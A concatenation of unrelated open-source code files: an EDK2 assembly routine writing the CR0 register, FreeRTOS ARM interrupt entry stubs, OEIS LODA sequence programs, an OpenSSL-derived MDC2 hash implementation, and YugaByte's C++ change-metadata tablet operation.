;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; WriteCr0.Asm
;
; Abstract:
;
; AsmWriteCr0 function
;
; Notes:
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmWriteCr0 (
; UINTN Cr0
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmWriteCr0)
ASM_PFX(AsmWriteCr0):
mov eax, [esp + 4]
mov cr0, eax
ret
|
/*
FreeRTOS V9.0.0 - Copyright (C) 2016 Real Time Engineers Ltd.
All rights reserved
VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION.
This file is part of the FreeRTOS distribution.
FreeRTOS is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License (version 2) as published by the
Free Software Foundation >>>> AND MODIFIED BY <<<< the FreeRTOS exception.
***************************************************************************
>>! NOTE: The modification to the GPL is included to allow you to !<<
>>! distribute a combined work that includes FreeRTOS without being !<<
>>! obliged to provide the source code for proprietary components !<<
>>! outside of the FreeRTOS kernel. !<<
***************************************************************************
FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. Full license text is available on the following
link: http://www.freertos.org/a00114.html
***************************************************************************
* *
* FreeRTOS provides completely free yet professionally developed, *
* robust, strictly quality controlled, supported, and cross *
* platform software that is more than just the market leader, it *
* is the industry's de facto standard. *
* *
* Help yourself get started quickly while simultaneously helping *
* to support the FreeRTOS project by purchasing a FreeRTOS *
* tutorial book, reference manual, or both: *
* http://www.FreeRTOS.org/Documentation *
* *
***************************************************************************
http://www.FreeRTOS.org/FAQHelp.html - Having a problem? Start by reading
the FAQ page "My application does not run, what could be wrong?". Have you
defined configASSERT()?
http://www.FreeRTOS.org/support - In return for receiving this top quality
embedded software for free we request you assist our global community by
participating in the support forum.
http://www.FreeRTOS.org/training - Investing in training allows your team to
be as productive as possible as early as possible. Now you can receive
FreeRTOS training directly from Richard Barry, CEO of Real Time Engineers
Ltd, and the world's leading authority on the world's leading RTOS.
http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products,
including FreeRTOS+Trace - an indispensable productivity tool, a DOS
compatible FAT file system, and our tiny thread aware UDP/IP stack.
http://www.FreeRTOS.org/labs - Where new FreeRTOS products go to incubate.
Come and try FreeRTOS+TCP, our new open source TCP/IP stack for FreeRTOS.
http://www.OpenRTOS.com - Real Time Engineers ltd. license FreeRTOS to High
Integrity Systems ltd. to sell under the OpenRTOS brand. Low cost OpenRTOS
licenses offer ticketed support, indemnification and commercial middleware.
http://www.SafeRTOS.com - High Integrity Systems also provide a safety
engineered and independently SIL3 certified version for use in safety and
mission critical applications that require provable dependability.
1 tab == 4 spaces!
*/
SECTION intvec:CODE:ROOT(2)
ARM
EXTERN pxISRFunction
EXTERN FreeRTOS_Tick_Handler
EXTERN FreeRTOS_IRQ_Handler
EXTERN vCMT_1_Channel_0_ISR
EXTERN vCMT_1_Channel_1_ISR
EXTERN r_scifa2_txif2_interrupt
EXTERN r_scifa2_rxif2_interrupt
EXTERN r_scifa2_drif2_interrupt
EXTERN r_scifa2_brif2_interrupt
PUBLIC FreeRTOS_Tick_Handler_Entry
PUBLIC vCMT_1_Channel_0_ISR_Entry
PUBLIC vCMT_1_Channel_1_ISR_Entry
PUBLIC r_scifa2_txif2_interrupt_entry
PUBLIC r_scifa2_rxif2_interrupt_entry
PUBLIC r_scifa2_drif2_interrupt_entry
PUBLIC r_scifa2_brif2_interrupt_entry
FreeRTOS_Tick_Handler_Entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =FreeRTOS_Tick_Handler
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
vCMT_1_Channel_0_ISR_Entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =vCMT_1_Channel_0_ISR
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
vCMT_1_Channel_1_ISR_Entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =vCMT_1_Channel_1_ISR
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_txif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_txif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_rxif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_rxif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_drif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_drif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_brif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_brif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
END
|
; A046191: Indices of hexagonal numbers which are also octagonal.
; Submitted by Jon Maiga
; 1,77,7521,736957,72214241,7076258637,693401132161,67946234693117,6658037598793281,652419738447048397,63930476330211949601,6264534260622324012477,613860427064657541273121,60152057318075816720753357,5894287756744365381092555841,577580048103629731530349719037,56596950426398969324593179909761,5545923561738995364078601281437517,543443912099995146710378332400966881,53251957462237785382252997974013316797
mul $0,2
mov $2,4
mov $3,3
lpb $0
sub $0,1
mov $1,$3
mul $1,8
add $2,$1
add $3,$2
lpe
mov $0,$3
div $0,4
add $0,1
|
/* crypto/mdc2/mdc2dgst.c */
/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young (eay@cryptsoft.com).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson (tjh@cryptsoft.com).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young (eay@cryptsoft.com)"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
#include <openssl/des.h>
#include <openssl/mdc2.h>
#ifdef OPENSSL_SYS_WINDOWS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#endif
#undef c2l
#define c2l(c,l) (l =((DES_LONG)(*((c)++))) , \
l|=((DES_LONG)(*((c)++)))<< 8L, \
l|=((DES_LONG)(*((c)++)))<<16L, \
l|=((DES_LONG)(*((c)++)))<<24L)
#undef l2c
#define l2c(l,c) (*((c)++)=(unsigned char)(((l) )&0xff), \
*((c)++)=(unsigned char)(((l)>> 8L)&0xff), \
*((c)++)=(unsigned char)(((l)>>16L)&0xff), \
*((c)++)=(unsigned char)(((l)>>24L)&0xff))
static void mdc2_body(MDC2_CTX *c, const unsigned char *in, size_t len);
int MDC2_Init(MDC2_CTX *c)
{
c->num=0;
c->pad_type=1;
TINYCLR_SSL_MEMSET(&(c->h[0]),0x52,MDC2_BLOCK);
TINYCLR_SSL_MEMSET(&(c->hh[0]),0x25,MDC2_BLOCK);
return 1;
}
int MDC2_Update(MDC2_CTX *c, const unsigned char *in, size_t len)
{
size_t i,j;
i=c->num;
if (i != 0)
{
if (i+len < MDC2_BLOCK)
{
/* partial block */
TINYCLR_SSL_MEMCPY(&(c->data[i]),in,len);
c->num+=(int)len;
return 1;
}
else
{
/* filled one */
j=MDC2_BLOCK-i;
TINYCLR_SSL_MEMCPY(&(c->data[i]),in,j);
len-=j;
in+=j;
c->num=0;
mdc2_body(c,&(c->data[0]),MDC2_BLOCK);
}
}
i=len&~((size_t)MDC2_BLOCK-1);
if (i > 0) mdc2_body(c,in,i);
j=len-i;
if (j > 0)
{
TINYCLR_SSL_MEMCPY(&(c->data[0]),&(in[i]),j);
c->num=(int)j;
}
return 1;
}
static void mdc2_body(MDC2_CTX *c, const unsigned char *in, size_t len)
{
register DES_LONG tin0,tin1;
register DES_LONG ttin0,ttin1;
DES_LONG d[2],dd[2];
DES_key_schedule k;
unsigned char *p;
size_t i;
for (i=0; i<len; i+=8)
{
c2l(in,tin0); d[0]=dd[0]=tin0;
c2l(in,tin1); d[1]=dd[1]=tin1;
c->h[0]=(c->h[0]&0x9f)|0x40;
c->hh[0]=(c->hh[0]&0x9f)|0x20;
DES_set_odd_parity(&c->h);
DES_set_key_unchecked(&c->h,&k);
DES_encrypt1(d,&k,1);
DES_set_odd_parity(&c->hh);
DES_set_key_unchecked(&c->hh,&k);
DES_encrypt1(dd,&k,1);
ttin0=tin0^dd[0];
ttin1=tin1^dd[1];
tin0^=d[0];
tin1^=d[1];
p=c->h;
l2c(tin0,p);
l2c(ttin1,p);
p=c->hh;
l2c(ttin0,p);
l2c(tin1,p);
}
}
int MDC2_Final(unsigned char *md, MDC2_CTX *c)
{
unsigned int i;
int j;
i=c->num;
j=c->pad_type;
if ((i > 0) || (j == 2))
{
if (j == 2)
c->data[i++]=0x80;
TINYCLR_SSL_MEMSET(&(c->data[i]),0,MDC2_BLOCK-i);
mdc2_body(c,c->data,MDC2_BLOCK);
}
TINYCLR_SSL_MEMCPY(md,(char *)c->h,MDC2_BLOCK);
TINYCLR_SSL_MEMCPY(&(md[MDC2_BLOCK]),(char *)c->hh,MDC2_BLOCK);
return 1;
}
#undef TEST
#ifdef TEST
main()
{
unsigned char md[MDC2_DIGEST_LENGTH];
int i;
MDC2_CTX c;
static char *text="Now is the time for all ";
MDC2_Init(&c);
MDC2_Update(&c,text,TINYCLR_SSL_STRLEN(text));
MDC2_Final(&(md[0]),&c);
for (i=0; i<MDC2_DIGEST_LENGTH; i++)
TINYCLR_SSL_PRINTF("%02X",md[i]);
TINYCLR_SSL_PRINTF("\n");
}
#endif
|
; A314253: Coordination sequence Gal.6.627.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,11,17,23,29,35,41,47,53,59,64,69,75,81,87,93,99,105,111,117,123,128,133,139,145,151,157,163,169,175,181,187,192,197,203,209,215,221,227,233,239,245,251,256,261,267,273,279,285
mov $1,$0
mul $1,2
add $1,$0
mov $3,$0
lpb $0
sub $0,9
sub $2,$2
add $2,2
sub $1,$2
add $0,$1
sub $0,1
sub $0,$1
add $2,2
add $2,$0
trn $0,1
lpe
add $1,1
trn $2,4
sub $1,$2
lpb $3
add $1,3
sub $3,1
lpe
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
//
// The following only applies to changes made to this file as part of YugaByte development.
//
// Portions Copyright (c) YugaByte, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software distributed under the License
// is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
// or implied. See the License for the specific language governing permissions and limitations
// under the License.
//
#include "yb/tablet/operations/change_metadata_operation.h"
#include <glog/logging.h>
#include "yb/common/wire_protocol.h"
#include "yb/consensus/consensus.h"
#include "yb/rpc/rpc_context.h"
#include "yb/server/hybrid_clock.h"
#include "yb/tablet/tablet.h"
#include "yb/tablet/tablet_peer.h"
#include "yb/tablet/tablet_metrics.h"
#include "yb/tserver/tserver.pb.h"
#include "yb/util/trace.h"
namespace yb {
namespace tablet {
using std::bind;
using consensus::ReplicateMsg;
using consensus::CHANGE_METADATA_OP;
using consensus::DriverType;
using google::protobuf::RepeatedPtrField;
using strings::Substitute;
using tserver::TabletServerErrorPB;
using tserver::ChangeMetadataRequestPB;
using tserver::ChangeMetadataResponsePB;
void ChangeMetadataOperationState::SetIndexes(const RepeatedPtrField<IndexInfoPB>& indexes) {
index_map_.FromPB(indexes);
}
string ChangeMetadataOperationState::ToString() const {
return Format("ChangeMetadataOperationState {hybrid_time: $0 schema: $1 request: $2 }",
hybrid_time_even_if_unset(), schema_, request_);
}
void ChangeMetadataOperationState::AcquireSchemaLock(rw_semaphore* l) {
TRACE("Acquiring schema lock in exclusive mode");
schema_lock_ = std::unique_lock<rw_semaphore>(*l);
TRACE("Acquired schema lock");
}
void ChangeMetadataOperationState::ReleaseSchemaLock() {
CHECK(schema_lock_.owns_lock());
schema_lock_ = std::unique_lock<rw_semaphore>();
TRACE("Released schema lock");
}
void ChangeMetadataOperationState::UpdateRequestFromConsensusRound() {
request_ = consensus_round()->replicate_msg()->mutable_change_metadata_request();
}
ChangeMetadataOperation::ChangeMetadataOperation(
std::unique_ptr<ChangeMetadataOperationState> state)
: Operation(std::move(state), OperationType::kChangeMetadata) {}
consensus::ReplicateMsgPtr ChangeMetadataOperation::NewReplicateMsg() {
auto result = std::make_shared<ReplicateMsg>();
result->set_op_type(CHANGE_METADATA_OP);
result->mutable_change_metadata_request()->CopyFrom(*state()->request());
return result;
}
Status ChangeMetadataOperation::Prepare() {
TRACE("PREPARE CHANGE-METADATA: Starting");
// Decode schema
auto has_schema = state()->request()->has_schema();
std::unique_ptr<Schema> schema;
if (has_schema) {
schema = std::make_unique<Schema>();
Status s = SchemaFromPB(state()->request()->schema(), schema.get());
if (!s.ok()) {
state()->SetError(s, TabletServerErrorPB::INVALID_SCHEMA);
return s;
}
}
Tablet* tablet = state()->tablet();
RETURN_NOT_OK(tablet->CreatePreparedChangeMetadata(state(), schema.get()));
if (has_schema) {
state()->AddToAutoReleasePool(schema.release());
}
state()->SetIndexes(state()->request()->indexes());
TRACE("PREPARE CHANGE-METADATA: finished");
return Status::OK();
}
void ChangeMetadataOperation::DoStart() {
state()->TrySetHybridTimeFromClock();
TRACE("START. HybridTime: $0",
server::HybridClock::GetPhysicalValueMicros(state()->hybrid_time()));
}
Status ChangeMetadataOperation::Apply(int64_t leader_term) {
TRACE("APPLY CHANGE-METADATA: Starting");
Tablet* tablet = state()->tablet();
log::Log* log = state()->mutable_log();
size_t num_operations = 0;
// Only perform one operation.
enum MetadataChange {
NONE,
SCHEMA,
WAL_RETENTION_SECS,
ADD_TABLE
};
MetadataChange metadata_change = MetadataChange::NONE;
bool request_has_newer_schema = false;
if (state()->request()->has_schema()) {
metadata_change = MetadataChange::SCHEMA;
request_has_newer_schema = tablet->metadata()->schema_version() < state()->schema_version();
if (request_has_newer_schema) {
++num_operations;
}
}
if (state()->request()->has_wal_retention_secs()) {
metadata_change = MetadataChange::NONE;
if (++num_operations == 1) {
metadata_change = MetadataChange::WAL_RETENTION_SECS;
}
}
if (state()->request()->has_add_table()) {
metadata_change = MetadataChange::NONE;
if (++num_operations == 1) {
metadata_change = MetadataChange::ADD_TABLE;
}
}
switch (metadata_change) {
case MetadataChange::NONE:
return STATUS_FORMAT(
InvalidArgument, "Wrong number of operations in Change Metadata Operation: $0",
num_operations);
case MetadataChange::SCHEMA:
if (!request_has_newer_schema) {
LOG_WITH_PREFIX(INFO)
<< "Already running schema version " << tablet->metadata()->schema_version()
<< " got alter request for version " << state()->schema_version();
return Status::OK();
}
DCHECK_EQ(1, num_operations) << "Invalid number of alter operations: " << num_operations;
RETURN_NOT_OK(tablet->AlterSchema(state()));
log->SetSchemaForNextLogSegment(*DCHECK_NOTNULL(state()->schema()),
state()->schema_version());
break;
case MetadataChange::WAL_RETENTION_SECS:
DCHECK_EQ(1, num_operations) << "Invalid number of alter operations: " << num_operations;
RETURN_NOT_OK(tablet->AlterWalRetentionSecs(state()));
log->set_wal_retention_secs(state()->request()->wal_retention_secs());
break;
case MetadataChange::ADD_TABLE:
DCHECK_EQ(1, num_operations) << "Invalid number of alter operations: " << num_operations;
RETURN_NOT_OK(tablet->AddTable(state()->request()->add_table()));
break;
}
return Status::OK();
}
void ChangeMetadataOperation::Finish(OperationResult result) {
if (PREDICT_FALSE(result == Operation::ABORTED)) {
TRACE("AlterSchemaCommitCallback: transaction aborted");
state()->Finish();
return;
}
// The schema lock was acquired by Tablet::CreatePreparedChangeMetadata.
// Normally, we would release it in tablet.cc after applying the operation,
// but currently we need to wait until after the COMMIT message is logged
// to release this lock as a workaround for KUDU-915. See the TODO in
// Tablet::AlterSchema().
state()->ReleaseSchemaLock();
DCHECK_EQ(result, Operation::COMMITTED);
// Now that all of the changes have been applied and the commit is durable
// make the changes visible to readers.
TRACE("AlterSchemaCommitCallback: making alter schema visible");
state()->Finish();
}
string ChangeMetadataOperation::ToString() const {
return Format("ChangeMetadataOperation { state: $0 }", state());
}
CHECKED_STATUS SyncReplicateChangeMetadataOperation(
const tserver::ChangeMetadataRequestPB* req,
tablet::TabletPeer* tablet_peer,
int64_t term) {
auto operation_state = std::make_unique<ChangeMetadataOperationState>(
tablet_peer->tablet(), tablet_peer->log(), req);
Synchronizer synchronizer;
operation_state->set_completion_callback(
std::make_unique<tablet::SynchronizerOperationCompletionCallback>(&synchronizer));
tablet_peer->Submit(std::make_unique<tablet::ChangeMetadataOperation>(
std::move(operation_state)), term);
return synchronizer.Wait();
}
} // namespace tablet
} // namespace yb
|
; A052704: Apart from the leading term, a(n) = Catalan(n-1)*4^(n-1).
; Submitted by Jon Maiga
; 0,1,4,32,320,3584,43008,540672,7028736,93716480,1274544128,17611882496,246566354944,3489862254592,49855175065600,717914520944640,10409760553697280,151860036312760320,2227280532587151360,32823081532863283200,485781606686376591360,7217326727911880785920,107603780307049858990080,1609378279375006586634240,24140674190625098799513600,363075739827001485944684544,5474065000468637788089090048,82719204451526082131124027392,1252605095980252100842735271936,19005042835562445667958742056960
lpb $0
mov $2,$0
trn $2,1
seq $2,151403 ; Number of walks within N^2 (the first quadrant of Z^2) starting at (0,0), ending on the vertical axis and consisting of 2 n steps taken from {(-1, 0), (-1, 1), (1, 0), (1, 1)}.
trn $0,$2
lpe
mov $0,$2
|
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